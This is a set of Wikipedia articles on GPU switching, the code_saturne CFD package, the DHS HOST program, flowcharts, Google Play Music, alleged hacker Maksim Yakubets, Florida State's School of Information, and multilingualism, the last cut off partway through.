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https://en.wikipedia.org/wiki/GPU%20switching
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GPU switching
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GPU switching is a mechanism used on computers with multiple graphic controllers. This mechanism allows the user to either maximize the graphic performance or prolong battery life by switching between the graphic cards. It is mostly used on gaming laptops which usually have an integrated graphic device and a discrete video card.
Basic components
Most computers using this feature contain integrated graphics processors and dedicated graphics cards that applies to the following categories.
Integrated graphics
Also known as: Integrated graphics, shared graphics solutions, integrated graphics processors (IGP) or unified memory architecture (UMA). This kind of graphics processors usually have much fewer processing units and share the same memory with the CPU.
Sometimes the graphics processors are integrated onto a motherboard. It is commonly known as: on-board graphics. A motherboard with on-board graphics processors doesn't require a discrete graphics card or a CPU with graphics processors to operate.
Dedicated graphics cards
Also known as: discrete graphics cards. Unlike integrated graphics, dedicated graphics cards have much more processing units and have its own RAM with much higher memory bandwidth.
In some cases, a dedicated graphics chip can be integrated onto the motherboards, B150-GP104 for example. Regardless of the fact that the graphics chip is integrated, it is still counted as a dedicated graphics cards system because the graphics chip is integrated with its own memory.
Theory
Most Personal Computers have a motherboard that uses a Southbridge and Northbridge structure.
Northbridge control
The Northbridge is one of the core logic chipset that handles communications between the CPU, GPU, RAM and the Southbridge. The discrete graphics card is usually installed onto the graphics card slot such as PCI-Express and the integrated graphics is integrated onto the CPU itself or occasionally onto the Northbridge. The Northbridge is the most responsible for switching between GPUs. The way how it works usually has the following process (refer to the Figure 1. on the right):
The Northbridge receives input from Southbridge through the internal bus.
The Northbridge signals to CPU through the Front-side bus.
The CPU runs the task assignment application (usually the graphics card driver) to determine which GPU core to use.
The CPU passes down the command to the Northbridge.
The Northbridge passes down the command to the according GPU core.
The GPU core processes the command and returns the rendered data back to the Northbridge.
The Northbridge sends the rendered data back to Southbridge.
Southbridge control
The Southbridge is a set of integrated circuits such Intel's I/O Controller Hub (ICH). It handles all of a computer's I/O functions, such as receiving the keyboard input and outputting the data onto the screen. The way how it usually works usually has two steps:
Take in the user input and pass it down to the Northbridge.
(Optional) Receive the rendered data from the Northbridge and output it.
The reason why the second step can be optional is that sometimes the rendered the data is outputted directly from the discrete graphics card which is located on the graphics card slot so there is no need to output the data through the Southbridge.
Main purpose
GPU switching is mostly used for saving energy by switching between graphic cards. The dedicated graphics cards consume much more power than integrated graphics but also provides higher 3D performances, which is needed for a better gaming and CAD experience. Following is a list of the TDPs of the most popular CPU with integrated graphics and dedicated graphics cards.
The dedicated graphics cards exhibit much higher power consumption than the integrated graphics on both platforms. Disabling them when no heavy graphics processing is needed can significantly lower the power consumption.
Technologies
Nvidia Optimus
Nvidia Optimus™ is a computer GPU switching technology created by Nvidia that can dynamically and seamlessly switch between two graphic cards based on running programs.
AMD Enduro
AMD Enduro™ is a collective brand developed by AMD that features many new technologies that can significantly save power. It was previously named as: PowerXpress and Dynamic Switchable Graphics (DSG). This technology implements a sophisticated system to predict the potential usage need for graphics cards and switch between graphics cards based on predicted need. This technology also introduces a new power control plan that allows the discrete graphics cards consume no energy when idling.
Manufacturers
Integrated graphics
In personal computers, the IGP (integrated graphics processors) are mostly manufactured by Intel and AMD and are integrated onto their CPUs. They are commonly known as:
Intel HD and Iris Graphics - also called HD series and Iris series
AMD Accelerated Processing Unit (APU) - also formerly known as: fusion
Dedicated graphics cards
The most popular dedicated graphics cards are manufactured by AMD and Nvidia. They are commonly known as:
AMD Radeon
Nvidia GeForce
Drivers & OS support
Most common operating systems have built-in support for this feature. However, the users may download the updated drivers from Nvidia or AMD for better experience.
Windows support
Windows 7 has built-in support for this feature. The system automatically switches between GPUs depending on the program that's running. However, the user may switch the GPUs manually through device manager or power manager.
Linux support
In the Linux systems, a patch named vga_switcheroo has been added to the Linux kernel since version 2.6.34 in order to deal with multiple GPUs. Here, the switch requires a restart of the X Window System to be taken into account.
Ubuntu Control Center allows the user to access vga_switcheroo functionality through a GUI.
Mac OS support
Mac OS has built-in support for this feature since v10.5 Leopard. Since OS X Mountain Lion, Apple has integrated the GPU monitor into the Activity Monitor.
Existing troubles
System incompatibility or unstable power supply may cause Blue Screen of Death or other bugs
Unable to switch if the system wrongly estimated the required computing resource
Switching may cause unstable voltage which can lead to flashy screen
Inconsistent drivers across vendors for smooth switching
See also
Graphics processing unit (GPU)
Nvidia Optimus
ATI Hybrid Graphics
References
External links
AMD official website
Nvidia official website
Intel official website
Notebook Check official website
Computer hardware
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18319136
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https://en.wikipedia.org/wiki/Code%20Saturne
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Code Saturne
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code_saturne is a general-purpose computational fluid dynamics free computer software package. Developed since 1997 at Électricité de France R&D, code_saturne is distributed under the GNU GPL licence.
It is based on a co-located finite-volume approach that accepts meshes with any type of cell (tetrahedral, hexahedral, prismatic, pyramidal, polyhedral...) and any type of grid structure (unstructured, block structured, hybrid, conforming or with hanging nodes...).
Its basic capabilities enable the handling of either incompressible or expandable flows with or without heat transfer and turbulence (mixing length, 2-equation models, v2f, Reynolds stress models, Large eddy simulation...).
Dedicated modules are available for specific physics such as radiative heat transfer, combustion (gas, coal, heavy fuel oil, ...), magneto-hydro dynamics, compressible flows, two-phase flows (Euler-Lagrange approach with two-way coupling), extensions to specific applications (e.g. for atmospheric environment).
code saturne install
code_saturne may be installed on a Linux or other Unix-like system by downloading and building it. No system files are changed, so administrator privileges are not required if the code is installed in a user's directory. Packages for Code_Saturne are also available on Debian and Ubuntu. Alternatively, CAE Linux (latest version ), includes code_saturne pre-installed.
The code also works well in the Windows subsystem for Linux.
Interoperability
code saturne supports multiple mesh formats. The following formats, from open source or commercial tools, are currently supported by Code Saturne:
Supported mesh input formats (source):
SIMAIL (NOPO) – (INRIA/Distene)
I-DEAS universal
MED
CGNS
EnSight 6
EnSight Gold
GAMBIT neutral
Gmsh
Simcenter STAR-CCM+
Supported post-processing output formats
EnSight Gold
MED
CGNS
Alternative software
Advanced Simulation Library (open source software AGPL)
ANSYS CFX (proprietary software)
ANSYS Fluent (proprietary software)
COMSOL Multiphysics
FEATool Multiphysics
Gerris Flow Solver (GPL)
OpenFOAM (GPL)
Palabos Flow Solver (AGPL)
STAR-CCM+ (proprietary software)
SU2 code (LGPL)
See also
SALOME
References
External links
Official English website
Official french website
Code Saturne Installation on Mandriva Linux
Code_Saturne Overview (pdf, 2 pages)
Overview of EDF's Open Source initiative (pdf, 2 pages)
code-saturne.blogspot.com : Independent user's Blog about SALOME, Code_Saturne, ParaView and Numerical Modelling
CAE Linux : LiveDVD with Code_Saturne, Code_Aster and the Salomé platform
Website at the University of Manchester
Computational fluid dynamics
Free science software
Engineering software that uses Qt
Computer-aided design software for Linux
Computer-aided engineering software for Linux
Articles with underscores in the title
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33508849
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https://en.wikipedia.org/wiki/Homeland%20Open%20Security%20Technology
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Homeland Open Security Technology
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Homeland Open Security Technology (HOST) is a five-year, $10 million program by the Department of Homeland Security's Science and Technology Directorate to promote the creation and use of open security and open-source software in the United States government and military, especially in areas pertaining to computer security.
Proponent David A. Wheeler claims that open-source security could also extend to hardware and written documents. In October 2011, the project won the Open Source for America 2011 Government Deployment Open Source Award.
Participants
The project is contracted to the Open Technology Research Consortium which consists of the Georgia Tech Research Institute (primary), the Center for Agile Technology at the University of Texas at Austin, the Open Source Software Institute, and the Open Information Security Foundation. The project has contributed funding towards the OpenSSL Software Foundation and the Open Information Security Foundation.
Events
In October 2012, HOST hosted the Open Cybersecurity Summit in Washington, D.C.; it was a one-day summit with a keynote by Stewart A. Baker, former Assistant Secretary for Policy of the Department of Homeland Security.
Investments
Suricata - An open source-based intrusion detection system (IDS). It was developed by the Open Information Security Foundation (OISF). A beta version was released in December 2009, with the first standard release following in July 2010.
OpenSSL FIPS 140-2 Validation - The Federal Information Processing Standard (FIPS) Publication 140-2, FIPS PUB 140-2, is a U.S. government computer security standard used to accredit cryptographic modules. The title is Security Requirements for Cryptographic Modules. Initial publication was on May 25, 2001 and was last updated December 3, 2002.
References
External links
Homeland Open Security Technology (HOST)
Open Information Security Foundation (OISF)
Georgia Tech Research Institute
United States Department of Homeland Security
2011 in computing
Computer security
Information technology projects
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527453
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https://en.wikipedia.org/wiki/Flowchart
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Flowchart
|
A flowchart is a type of diagram that represents a workflow or process. A flowchart can also be defined as a diagrammatic representation of an algorithm, a step-by-step approach to solving a task.
The flowchart shows the steps as boxes of various kinds, and their order by connecting the boxes with arrows. This diagrammatic representation illustrates a solution model to a given problem. Flowcharts are used in analyzing, designing, documenting or managing a process or program in various fields.
Overview
Flowcharts are used in designing and documenting simple processes or programs. Like other types of diagrams, they help visualize what is going on and thereby help understand a process, and perhaps also find less-obvious features within the process, like flaws and bottlenecks. There are different types of flowcharts: each type has its own set of boxes and notations. The two most common types of boxes in a flowchart are:
A processing step, usually called activity, and denoted as a rectangular box.
A decision, usually denoted as a diamond.
A flowchart is described as "cross-functional" when the chart is divided into different vertical or horizontal parts, to describe the control of different organizational units. A symbol appearing in a particular part is within the control of that organizational unit. A cross-functional flowchart allows the author to correctly locate the responsibility for performing an action or making a decision, and to show the responsibility of each organizational unit for different parts of a single process.
Flowcharts depict certain aspects of processes and are usually complemented by other types of diagram. For instance, Kaoru Ishikawa defined the flowchart as one of the seven basic tools of quality control, next to the histogram, Pareto chart, check sheet, control chart, cause-and-effect diagram, and the scatter diagram. Similarly, in UML, a standard concept-modeling notation used in software development, the activity diagram, which is a type of flowchart, is just one of many different diagram types.
Nassi-Shneiderman diagrams and Drakon-charts are an alternative notation for process flow.
Common alternative names include: flow chart, process flowchart, functional flowchart, process map, process chart, functional process chart, business process model, process model, process flow diagram, work flow diagram, business flow diagram. The terms "flowchart" and "flow chart" are used interchangeably.
The underlying graph structure of a flowchart is a flow graph, which abstracts away node types, their contents and other ancillary information.
History
The first structured method for documenting process flow, the "flow process chart", was introduced by Frank and Lillian Gilbreth in the presentation "Process Charts: First Steps in Finding the One Best Way to do Work", to members of the American Society of Mechanical Engineers (ASME) in 1921. The Gilbreths' tools quickly found their way into industrial engineering curricula. In the early 1930s, an industrial engineer, Allan H. Mogensen began to train business people in the use of some of the tools of industrial engineering at his Work Simplification Conferences in Lake Placid, New York.
Art Spinanger, a 1944 graduate of Mogensen's class, took the tools back to Procter and Gamble where he developed their Deliberate Methods Change Program. Ben S. Graham, another 1944 graduate, Director of Formcraft Engineering at Standard Register Industrial, applied the flow process chart to information processing with his development of the multi-flow process chart, to present multiple documents and their relationships. In 1947, ASME adopted a symbol set derived from Gilbreth's original work as the "ASME Standard: Operation and Flow Process Charts."
Douglas Hartree in 1949 explained that Herman Goldstine and John von Neumann had developed a flowchart (originally, diagram) to plan computer programs. His contemporary account was endorsed by IBM engineers and by Goldstine's personal recollections. The original programming flowcharts of Goldstine and von Neumann can be found in their unpublished report, "Planning and coding of problems for an electronic computing instrument, Part II, Volume 1" (1947), which is reproduced in von Neumann's collected works.
The flowchart became a popular tool for describing computer algorithms, but its popularity decreased in the 1970s, when interactive computer terminals and third-generation programming languages became common tools for computer programming, since algorithms can be expressed more concisely as source code in such languages. Often pseudo-code is used, which uses the common idioms of such languages without strictly adhering to the details of a particular one.
Nowadays flowcharts are still used for describing computer algorithms. Modern techniques such as UML activity diagrams and Drakon-charts can be considered to be extensions of the flowchart.
Types
Sterneckert (2003) suggested that flowcharts can be modeled from the perspective of different user groups (such as managers, system analysts and clerks), and that there are four general types:
Document flowcharts, showing controls over a document-flow through a system
Data flowcharts, showing controls over a data-flow in a system
System flowcharts, showing controls at a physical or resource level
Program flowchart, showing the controls in a program within a system
Notice that every type of flowchart focuses on some kind of control, rather than on the particular flow itself.
However, there are some different classifications. For example, Andrew Veronis (1978) named three basic types of flowcharts: the system flowchart, the general flowchart, and the detailed flowchart. That same year Marilyn Bohl (1978) stated "in practice, two kinds of flowcharts are used in solution planning: system flowcharts and program flowcharts...". More recently, Mark A. Fryman (2001) identified more differences: "Decision flowcharts, logic flowcharts, systems flowcharts, product flowcharts, and process flowcharts are just a few of the different types of flowcharts that are used in business and government".
In addition, many diagram techniques are similar to flowcharts but carry a different name, such as UML activity diagrams.
Building blocks
Common symbols
The American National Standards Institute (ANSI) set standards for flowcharts and their symbols in the 1960s. The International Organization for Standardization (ISO) adopted the ANSI symbols in 1970. The current standard, ISO 5807, was revised in 1985. Generally, flowcharts flow from top to bottom and left to right.
Other symbols
The ANSI/ISO standards include symbols beyond the basic shapes. Some are:
Parallel processing
Parallel Mode is represented by two horizontal lines at the beginning or ending of simultaneous operations
For parallel and concurrent processing the Parallel Mode horizontal lines or a horizontal bar indicate the start or end of a section of processes that can be done independently:
At a fork, the process creates one or more additional processes, indicated by a bar with one incoming path and two or more outgoing paths.
At a join, two or more processes continue as a single process, indicated by a bar with several incoming paths and one outgoing path. All processes must complete before the single process continues.
Software
Diagramming
Any drawing program can be used to create flowchart diagrams, but these will have no underlying data model to share data with databases or other programs such as project management systems or spreadsheet. Many software packages exist that can create flowcharts automatically, either directly from a programming language source code, or from a flowchart description language.
There are several applications and visual programming languages that use flowcharts to represent and execute programs. Generally these are used as teaching tools for beginner students. Examples include Flowgorithm, Raptor, LARP, Visual Logic, Fischertechnik ROBO Pro, and VisiRule.
See also
Related diagrams
Activity diagram
Control-flow diagram
Control-flow graph
Data flow diagram
Deployment flowchart
Drakon-chart
Flow map
Functional flow block diagram
Nassi–Shneiderman diagram
State diagram
Swimlane
Warnier/Orr diagram
Why-because analysis
Related subjects
Augmented transition network
Business process mapping
Interactive EasyFlow
Process architecture
Pseudocode
Recursive transition network
Unified Modeling Language (UML)
Workflow
References
Further reading
ISO 10628: Diagrams for the chemical and petrochemical industry
ECMA 4: Flowcharts (withdrawn – list of withdrawn standards)
Schultheiss, Louis A., and Edward M. Heiliger. "Techniques of flow-charting." (1963); with introduction by Edward Heiliger.
External links
Flowcharting Techniques: An IBM manual from 1969 (5 MB; PDF)
Algorithm description languages
American inventions
Computer programming
Diagrams
Modeling languages
Quality control tools
Technical communication
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38720150
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https://en.wikipedia.org/wiki/Google%20Play%20Music
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Google Play Music
|
Google Play Music is a discontinued music and podcast streaming service and an online music locker operated by Google as part of its Google Play line of services. The service was announced on May 10, 2011; after a six-month, invitation-only beta period, it was publicly launched on November 16, 2011.
Users with standard accounts could store up to 50,000 songs from their personal libraries at no cost. A paid Google Play Music subscription allowed users to on-demand stream any song in the Google Play Music catalog and in YouTube Music Premium catalog and in several territories in YouTube Premium catalog. Also, users could purchase additional tracks from the music store section of Google Play. Google Play Music mobile apps also supported offline playback of tracks stored on the device.
Before Google's relaunch of YouTube Music in June 2018, Elias Roman, product manager of GPM and YouTube, told The Verge, "Google’s current goal is to move GPM subscribers over to YouTube Music at some point in 2019." In August 2020, Google announced that the service would start gradually shutting down in September. It was replaced by YouTube Music and Google Podcasts in December 2020.
Features
Standard accounts
Google Play Music offers all users storage of up to 50,000 files for free. Users can listen to songs through the service's web player and mobile apps. The service scans the user's collection and matches the files to tracks in Google's catalog, which can then be streamed or downloaded in up to 320 kbit/s quality. Any files that are not matched are uploaded to Google's servers for streaming or re-download. Songs purchased through the Google Play Store do not count against the 50,000-song upload limit.
Supported file formats for upload include: MP3, AAC, WMA, FLAC, Ogg, or ALAC. Non-MP3 uploads will be converted to MP3. Files can be up to 300 MB after conversion.
Songs can be downloaded on the mobile apps for offline playback, and on computers through the Music Manager app.
Standard users located in the United States, Canada, and India can also listen to curated radio stations, supported by video and banner advertisements. Stations are based on "an activity, your mood, or your favorite popular music". Up to six songs per hour can be skipped when listening to curated radio.
Podcasts are also available for free to listen to for standard users in the US and Canada.
Premium accounts
With a paid subscription to Google Play Music, users receive access to on-demand streaming of 40 million songs and offline music playback on the mobile apps, with no advertisements during listening and no limit on the number of track skips. A one-time 30-day free trial for a subscription to Google Play Music is offered for new users. Paid subscribers also receive access to YouTube Premium (including YouTube Music) in eligible countries.
Platforms
On computers, music and podcasts can be listened to from a dedicated Google Play Music section of the Google Play website.
On smartphones and tablets, music can be listened to through the Google Play Music mobile app for the Android and iOS operating systems, while podcasts are only supported on Android. Up to five smartphones can be used to access the library in Google Play Music, and up to ten devices total. Listening is limited to one device at a time.
Samsung Galaxy S8
In April 2017, reports surfaced that the default music player on the then-new Samsung Galaxy S8 would be Google Play Music, continuing a trend that started with the S7 in 2016. However, for the S8, Samsung partnered with Google to incorporate additional exclusive features into the app, including the ability to upload up to 100,000 tracks, an increase from the 50,000 tracks users are normally allowed to upload. Google also stated that it would develop other "special features in Google Play Music just for Samsung customers". In June, Google Play Music on the S8 was updated to exclusively feature "New Release Radio", a daily, personalized playlist of new music releases. In July, the playlist was made available to all users, with Google noting in a press release that the exclusivity on Samsung devices was part of an "early access program" for testing and feedback purposes.
History
Introduction (2010–2011)
Google first hinted at releasing a cloud media player during their 2010 Google I/O developer conference, when Google's then-Senior Vice President of Social Vic Gundotra showed a "Music" section of the then-called Android Market during a presentation. A music service was officially announced at the following year's I/O conference on May 10, 2011, under the name "Music Beta". Initially, it was only available by invitation to residents of the United States, and had limited functionality; the service featured a no-cost "music locker" for storage of up to 20,000 songs, but no music store was present during the beta period, as Google was not yet able to reach licensing deals with major record labels.
After a six-month beta period, Google publicly launched the service in the US on November 16, 2011, as "Google Music" with its "These Go to Eleven" announcement event. The event introduced several features of the service, including a music store integrated into the then-named Android Market, music sharing via the Google+ social network, "Artist Hub" pages for musicians to self-publish music, and song purchasing reflected on T-Mobile phone bills. At launch, Google had partnerships with three major labels – Universal Music Group, EMI, and Sony Music Entertainment – along with other, smaller labels, although no agreement had been reached with Warner Music Group; in total, 13 million tracks were covered by these deals, 8 million of which were available for purchase on the launch date. To promote the launch, several artists released free songs and exclusive albums through the store; The Rolling Stones debuted the live recording Brussels Affair (Live 1973), and Pearl Jam released a live concert recorded in Toronto as 9.11.2011 Toronto, Canada.
Slow growth (2012–2017)
In January 2012, a feature was added to Google Music that allows users to download 320kbit/s MP3 copies of any file in their library, with a two-download limit per track via the web, or unlimited downloads via the Music Manager app.
According to a February 2012 report from CNET, Google executives were displeased with Google Music's adoption rate and revenues in its first three months.
In March 2012, the company rebranded the Android Market and its digital content services as "Google Play"; the music service was renamed "Google Play Music".
Google announced in October 2012 that they had signed deals with Warner Music Group that would bring "their full music catalog" to the service.
At the Google I/O developer conference in May 2013, Google announced that Google Play Music would be expanded to include a paid on-demand music streaming service called "All Access", allowing users to stream any song in the Google Play catalog. It debuted immediately in the United States for $9.99 per month ($7.99 per month if the users signed up before June 30). The service allows users to combine the All Access catalog with their own library of songs.
Google Play Music was one of the first four apps compatible with Google's Chromecast digital media player that launched in July 2013.
In October 2014, a new "Listen Now" feature was introduced, providing contextual and curated recommendations and playlists. The feature was adapted from technology by Songza, which Google acquired earlier in the year.
On November 12, 2014, Google subsidiary YouTube announced "Music Key", a new premium service succeeding All Access that included the Google Play Music streaming service, along with advertising-free access to streaming music videos on YouTube. Additionally, aspects of the two platforms were integrated; Google Play Music recommendations and YouTube music videos are available across both services. The service was re-launched in a revised form as YouTube Red (now YouTube Premium) on October 28, 2015, expanding its scope to offer ad-free access to all YouTube videos, as opposed to just music videos, as well as premium content produced in collaboration with notable YouTube producers and personalities.
In December 2015, Google started offering a Google Play Music family plan, that allows unlimited access for up to six family members for US$14.99/month. The family plan is currently only available in Australia, Belgium, Brazil, Canada, Chile, the Czech Republic, France, Germany, Ireland, Italy, Japan, Mexico, the Netherlands, New Zealand, Norway, Russia, South Africa, Spain, Ukraine, the United Kingdom, and the United States.
In April 2016, Google announced that podcasts would be coming to Google Play Music. Its first original podcast series, "City Soundtracks", was announced in March 2017, and would "feature interviews with various musicians about how their hometowns influenced their work, including the people and the moments that had an impact".
In November 2016, Google introduced the Google Home smart speaker system, with built-in support for Google Play Music.
Sunsetting (2018–2020)
In May 2018, YouTube announced a new version of the YouTube Music service, including a web-based desktop player and redesigned mobile app, more dynamic recommendations based on various factors, and use of Google artificial intelligence technology to search songs based on lyrics and descriptions. YouTube Music was provided to Google Play Music users as part of the YouTube Premium offering.
In June 2018, Google announced that YouTube Red would be replaced by YouTube Premium along with YouTube Music. As a result, users subscribed to Google Play Music in the United States, Australia, New Zealand and Mexico are now given access to YouTube Premium—which includes YouTube Music Premium. Users outside of those four countries are still required to pay the regular YouTube Premium price to access Premium features, but are given free access to YouTube Music Premium.
In June 2018, Google announced plans to shut down Play Music and offer subscribers to migrate to YouTube Music. Since May 2020, users are able to move their music collections, personal taste preferences and playlists to YouTube Music and their podcast history, subscriptions to Google Podcasts.
In August 2020, Google announced a detailed shutdown timeline starting in late August and ending with complete data deletion in December. Since late August the Music Manager no longer supports uploading or downloading music. Since September, Google Play Music is no longer available in New Zealand and South Africa, and since October, music streaming started shutting down for some users internationally on the web and the app. The music store was made unavailable in October 2020. All usage of the service was discontinued in December 2020 and was replaced by YouTube Music and Google Podcasts.
Geographic availability
Standard accounts on Google Play Music was available in 63 countries before the discontinuation of the service. The full list included: Argentina, Australia, Austria, Belarus, Belgium, Bolivia, Bosnia and Herzegovina, Brazil, Bulgaria, Canada, Chile, Colombia, Costa Rica, Croatia, Cyprus, Czech Republic, Denmark, Dominican Republic, Ecuador, El Salvador, Estonia, Finland, France, Germany, Greece, Guatemala, Honduras, Hungary, Iceland, India, Ireland, Italy, Japan, Latvia, Liechtenstein, Lithuania, Luxembourg, North Macedonia, Malta, Mexico, Netherlands, New Zealand, Nicaragua, Norway, Panama, Paraguay, Peru, Poland, Portugal, Romania, Russia, Serbia, Slovakia, Slovenia, South Africa, Spain, Sweden, Switzerland, Ukraine, United Kingdom, United States, Uruguay, and Venezuela.
Premium subscriptions are available in the same countries as Standard accounts.
Availability of music was introduced in the United Kingdom, France, Germany, Italy, and Spain in October 2012, Czech Republic, Finland, Hungary, Liechtenstein, Netherlands, Russia, and Switzerland in September 2013, Mexico in October 2013, Germany in December 2013, Greece, Norway, Sweden, and Slovakia in March 2014, Canada, Poland and Denmark in May 2014, Bolivia, Chile, Colombia, Costa Rica, Peru, and Ukraine in July 2014, Dominican Republic, Ecuador, Guatemala, Honduras, Nicaragua, Panama, Paraguay, El Salvador, and Venezuela in August 2014, Brazil and Uruguay in September 2014, 13 new countries in November 2014, Brazil in November 2014, Argentina in June 2015, Japan in September 2015, South Africa and Serbia in December 2015, and India in September 2016, where only purchasing of music was offered. The All Access subscription service launched in India in April 2017.
Reception
In 2013, Entertainment Weekly compared a number of music services and gave Google Play Music All Access a "B+" score, writing, "The addition of uploading to augment the huge streaming archive fills in some huge gaps."
References
External links
Android (operating system) software
IOS software
Play Music
Mobile software
2011 software
Mobile software distribution platforms
Products introduced in 2011
Products and services discontinued in 2020
Music streaming services
Android Auto software
Music
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64416151
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https://en.wikipedia.org/wiki/Maksim%20Yakubets
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Maksim Yakubets
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(Little is known about his childhood).
Maksim Viktorovich Yakubets (Russian: Маҝсим Виҝторович Яҝубец) is a Russian computer expert and alleged computer hacker. He is alleged to have been a member of the Evil Corp, Jabber Zeus Crew, as well as the alleged leader of the Bugat (Trojan horse) malware conspiracy. Russian media openly describe Yakubets as a "hacker who stole $100 million", friend of Dmitry Peskov and discussed his lavish lifestyle, including luxury wedding with a daughter of FSB officer Eduard Bendersky and Lamborghini with "ВОР" (Russian for "thief") registration plate. Yakubets impunity in Russia is perceived as clue of his close ties with FSB, but also criticized by domestic information security experts such as Ilya Sachkov.
Indictments
On November 13, 2019, Yakubets was charged in the United States District Court for the Western District of Pennsylvania for allegedly conspiring in the development, maintenance, distribution, and infection of Bugat malware. The following day, he was charged in the United States District Court for the District of Nebraska for his alleged involvement in the installation of Zeus.
References
Ukrainian computer criminals
Russian computer criminals
Living people
1987 births
Hackers
Trojan horses
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12118703
|
https://en.wikipedia.org/wiki/Florida%20State%20University%20School%20of%20Information
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Florida State University School of Information
|
The Florida State University School of Information is a school within the Florida State University College of Communication and Information.
It was founded in 1947, when Florida State University was founded, as the School of Library Training and Service (SOLTAS). It changed its name in 1968 to the School of Library Science. Another name change occurred in 1981 when the faculty voted to change the name to the School of Library and Information Science in preparation for the opening of the School's new building (the current facility) later in 1981. In 2004, the School changed its name to the College of Information.
The school offers programs in Information Science and Information Technology. These programs are consistently top-ranked programs in the nation and have held such rankings for many years in the U.S. News & World Report. The college is currently ranked 13th overall nationally, the Services for Children and Youth specialization program ranked fifth, School Library Media program ranked first, and the Information Technology program ranked 9th.
The College of Communication & Information offers an Information Technology program at the undergraduate level, an ALA accredited online Master of Science in Information (MSI), a Masters in Information Technology degree (MSIT), a specialist degree, and a doctoral degree. The undergraduate courses are delivered as face to face instruction. At the graduate level, the courses are offered either in a face to face format or online. All graduate courses are offered online at some time to enable students from around the world to participate in the program.
National rankings
U.S. News & World Report (2015 Edition)
Masters in Information - 13th overall
Masters in Information Technology - 9th Overall among all universities; 5th Overall among public universities
Digital Librarianship - 11th overall
School Library Media - 1st overall
Services for Children and Youth - 5th overall
In 2014, the library media program was ranked 1st in the nation by U.S. News & World Report.
References
External links
Information schools
Educational institutions established in 1947
1947 establishments in Florida
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https://en.wikipedia.org/wiki/Multilingualism
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Multilingualism
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Multilingualism is the use of more than one language, either by an individual speaker or by a group of speakers. It is believed that multilingual speakers outnumber monolingual speakers in the world's population. More than half of all Europeans claim to speak at least one language other than their mother tongue; but many read and write in one language. Always useful to traders, multilingualism is advantageous for people wanting to participate in globalization and cultural openness. Owing to the ease of access to information facilitated by the Internet, individuals' exposure to multiple languages is becoming increasingly possible. People who speak several languages are also called polyglots.
Multilingual speakers have acquired and maintained at least one language during childhood, the so-called first language (L1). The first language (sometimes also referred to as the mother tongue) is usually acquired without formal education, by mechanisms about which scholars disagree. Children acquiring two languages natively from these early years are called simultaneous bilinguals. It is common for young simultaneous bilinguals to be more proficient in one language than the other.
People who speak more than one language have been reported to be more adept at language learning compared to monolinguals.
Multilingualism in computing can be considered part of a continuum between internationalization and localization. Due to the status of English in computing, software development nearly always uses it (but not in the case of non-English-based programming languages). Some commercial software is initially available in an English version, and multilingual versions, if any, may be produced as alternative options based on the English original.
History
The first recorded use of the word multilingualism originated in the English language in the 1800s as a combination of multi (many) and lingual (pertaining languages, with the word existing in the Middle Ages). The phenomenon however, is old as different languages themselves.
Together, like many different languages, modern-day multilingualism is still encountered by some people who speak the same language. Bilingual signs represent a multitude of languages in a evolutive variety of texts with each writing.
Definition
The definition of multilingualism is a subject of debate in the same way as that of language fluency. At one end of a sort of linguistic continuum, one may define multilingualism as complete competence in and mastery of more than one language. The speaker would presumably have complete knowledge and control over the languages and thus sound like a native speaker. At the opposite end of the spectrum would be people who know enough phrases to get around as a tourist using the alternate language. Since 1992, Vivian Cook has argued that most multilingual speakers fall somewhere between minimal and maximal definitions. Cook calls these people multi-competent.
In addition, there is no consistent definition of what constitutes a distinct language. For instance, scholars often disagree whether Scots is a language in its own right or merely a dialect of English. Furthermore, what is considered a language can change, often for purely political reasons. One example is the creation of Serbo-Croatian as a standard language on the basis of the Eastern Herzegovinian dialect to function as umbrella for numerous South Slavic dialects; after the breakup of Yugoslavia it was split into Serbian, Croatian, Bosnian and Montenegrin. Another example is that Ukrainian was dismissed as a Russian dialect by the Russian tsars to discourage national feelings.
Many small independent nations' schoolchildren are today compelled to learn multiple languages because of international interactions. For example, in Finland, all children are required to learn at least three languages: the two national languages (Finnish and Swedish) and one foreign language (usually English). Many Finnish schoolchildren also study further languages, such as German or Russian.
In some large nations with multiple languages, such as India, schoolchildren may routinely learn multiple languages based on where they reside in the country.
In many countries, bilingualism occurs through international relations, which, with English being the global lingua franca, sometimes results in majority bilingualism even when the countries have just one domestic official language. This is occurring especially in Germanic regions such as Scandinavia, the Benelux and among Germanophones, but it is also expanding into some non-Germanic countries.
Myths
Many myths and much prejudice have grown around the notions of bi- and multilingualism in some Western countries where monolingualism is the norm. Researchers from the UK and Poland have listed the most common misconceptions:
that to deserve the label 'bi-/multilingual', one needs to have an equal, 'perfect', 'nativelike' command of both/all of one's languages;
that childhood bilingualism may be detrimental to both linguistic and cognitive development and consequently lead to poorer results at school;
that exposing a child to more than one language may cause language impairment or deficits, or that for children already diagnosed with impairments two languages mean too much unnecessary pressure and effort;
that children do not have enough time to learn both languages, therefore it is better if they only acquire the majority language;
that bilingual individuals tend to have slightly smaller vocabularies and are weaker in "verbal fluency tasks" than monolingual individuals.
These are all harmful convictions that have long been debunked, yet persist among many parents. In reality, bilingual children have lower scores than their monolingual peers when they are assessed in only one of the languages they are acquiring, but have substantially greater total lingual resources.
Acquisition
One view is that of the linguist Noam Chomsky in what he calls the human language acquisition device—a mechanism which enables a learner to recreate correctly the rules and certain other characteristics of language used by surrounding speakers. This device, according to Chomsky, wears out over time, and is not normally available by puberty, which he uses to explain the poor results some adolescents and adults have when learning aspects of a second language (L2).
If language learning is a cognitive process, rather than a language acquisition device, as the school led by Stephen Krashen suggests, there would only be relative, not categorical, differences between the two types of language learning.
Rod Ellis quotes research finding that the earlier children learn a second language, the better off they are, in terms of pronunciation. European schools generally offer secondary language classes for their students early on, due to the interconnectedness with neighbor countries with different languages. Most European students now study at least two foreign languages, a process strongly encouraged by the European Union.
Based on the research in Ann Fathman's The Relationship between age and second language productive ability, there is a difference in the rate of learning of English morphology, syntax and phonology based upon differences in age, but that the order of acquisition in second language learning does not change with age.
In second language class, students will commonly face difficulties in thinking in the target language because they are influenced by their native language and culture patterns. Robert B. Kaplan thinks that in second language classes, the foreign-student paper is out of focus because the foreign student is employing rhetoric and a sequence of thought which violate the expectations of the native reader. Foreign students who have mastered syntactic structures have still demonstrated an inability to compose adequate themes, term papers, theses, and dissertations. Robert B. Kaplan describes two key words that affect people when they learn a second language. Logic in the popular, rather than the logician's sense of the word, is the basis of rhetoric, evolved out of a culture; it is not universal. Rhetoric, then, is not universal either, but varies from culture to culture and even from time to time within a given culture. Language teachers know how to predict the differences between pronunciations or constructions in different languages, but they might be less clear about the differences between rhetoric, that is, in the way they use language to accomplish various purposes, particularly in writing.
